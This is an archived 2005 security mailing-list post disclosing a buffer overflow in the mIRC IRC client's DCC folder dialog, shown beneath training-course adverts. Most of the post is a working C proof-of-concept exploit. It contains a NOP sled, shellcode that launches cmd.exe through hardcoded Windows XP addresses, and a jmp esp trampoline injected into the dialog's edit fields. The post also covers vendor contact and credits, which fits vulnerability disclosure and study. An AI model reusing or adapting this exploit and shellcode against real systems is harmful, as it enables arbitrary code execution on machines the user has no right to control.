Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Vuln-Dev
[Top] [All Lists]

mIRC buffer overflow

Subject: mIRC buffer overflow
Date: Tue, 20 Dec 2005 13:11:50 +0100
- 1 - Introduction
Written by Khaled Mardam-Bey, mIRC is a friendly IRC client that iswell 
equipped with options and tools.
- 2 - Vulnerability description
Tested on mIRC 6.16,6.12,6.03 and 5.91, all result vulnerable.Possibly all mIRC 
versions are vulnerable.The code executed are with current user 
privileges,anyway this bugcould be dangerous in universities,cyber coffees, 
schools and any location with restrictions.Adding/editing filters to locate the 
specified folder for the filestransfered by DCC if insert a string greateror 
equal to 981 bytes the application crash showing an memory error 0x0000.This 
0x0000 error it's because shows the value of the second editfield and it's 
empty, if write AAAA in this field,the error it's 0x41414141, overwrite the eip 
and can take the controlto execute arbitrary code.To execute code appears a 
little problem, only can write 39chars inthe second edit, this problem 
imposibilite inserta good shellcode, to fix this, can put jmp esp + sub esp 
0x74 + jmpesp, with this, the EIP it's overwrited by the textin the first edit 
field, and in this have 980bytes for the shellcode.
- 3 - How to exploit it
This PoC open a cmd.exe,also it's possible execute any other code.
----------- CUT HERE ----------------------/*mIRCexploitXPSP2eng.cVulnerability 
tested on Windows XP SP1,SP2 Spanishand Windows XP SP2 English
This PoC it's for XP SP2 English, for spanish readers:
XP SP1system: 0x77bf8044jmp esp: 0x77E29BBB (advapi32.dll)
XP SP2system: 0x77bf93c7jmp esp: 0x77E37BBB (advapi32.dll)
Special thanks to rojodos (very great your tutorial),jocanor, otromasf, 
crazyking and gandalfj.*/
#include <stdio.h>#include <stdlib.h>#include <windows.h>
int main () {HWND lHandle, lHandledit, lHandledit2;char strClass[30];char 
shellcode[999]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x55""\x8B\xEC""\x33\xFF""\x57""\x83\xEC\x04""\xC6\x45\xF8\x63""\xC6\x45\xF9\x6D""\xC6\x45\xFA\x64""\xC6\x45\xFB\x2E""\xC6\x45\xFC\x65""\xC6\x45\xFD\x78""\xC6\x45\xFE\x65""\x8D\x45\xF8""\x50""\xBB\xc7\x93\xc2\x77""\xFF\xD3""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90";
//Shellcode system("cmd.exe"), system in \xc7\x93\xc2\x77 77c293c7(WinXP Sp2 
English)
char 
saltaoffset[]="\xD6\xD1\xE5\x77\x90\x90\x90\x90\x90\x83\xEC\x74\xFF\xE4\x90\x90";//
 jmp esp 0x77E5D1D6 (advapi32.dll) , sub esp 0x74, jmp esp
lHandle=FindWindow(NULL, "DCC Get Folder");
if (!lHandle){printf("\nCan't find mIRC DCC Get Folder Dialog :\nIn 
mIRCOptions/DCC/Folders push ADD\n");return 0;}else{ printf("handle for mIRC 
DCC Get Folder Dialog : 0x%X\n",lHandle); }
SetForegroundWindow(lHandle);lHandledit = FindWindowEx(lHandle, 0, "Edit", 
0);printf("handle for First Edit : 0x%X\n",lHandledit);printf("ASCII Shellcode 
in first edit : %s\n", shellcode);SendMessage(lHandledit, 
WM_SETTEXT,0,(LPARAM)shellcode);

lHandledit2 = GetWindow(lHandledit, GW_HWNDNEXT);GetClassName(lHandledit2, 
strClass, sizeof(strClass));
while ( lstrcmp(strClass,"Edit") ){lHandledit2 = GetWindow(lHandledit2, 
GW_HWNDNEXT);GetClassName(lHandledit2, strClass, sizeof(strClass));}
printf("handle for Second Edit : 0x%X\n",lHandledit2);Sleep(500);printf("ASCII 
Shellcode in second edit : %s\n", saltaoffset);SendMessage(lHandledit2, 
WM_SETTEXT,0,(LPARAM)saltaoffset);Sleep(500);SendMessage (lHandledit2, 
WM_IME_KEYDOWN, VK_RETURN, 0);}
----------- CUT HERE ----------------------

- 4 - Solution
I contacted with khaled in khaled@mirc.com reporting the bug on29/11/2005 
without response.Contacting again with this advisory.

- 5 - Credits
URL Vendor: www.mirc.comAuthor: Jordi Corrales ( crowdat[at]gmail.com )Date: 
09/12/2005
Spanish and English Advisory: 
http://www.shellsec.net/leer_advisory.php?id=9Spanish Advisory and Compiled 
Spanish Exploit:http://www.cyruxnet.org/mirc616_bug_exploit.htm

<Prev in Thread] Current Thread [Next in Thread>
  • mIRC buffer overflow, Crowdat Kurobudetsu <=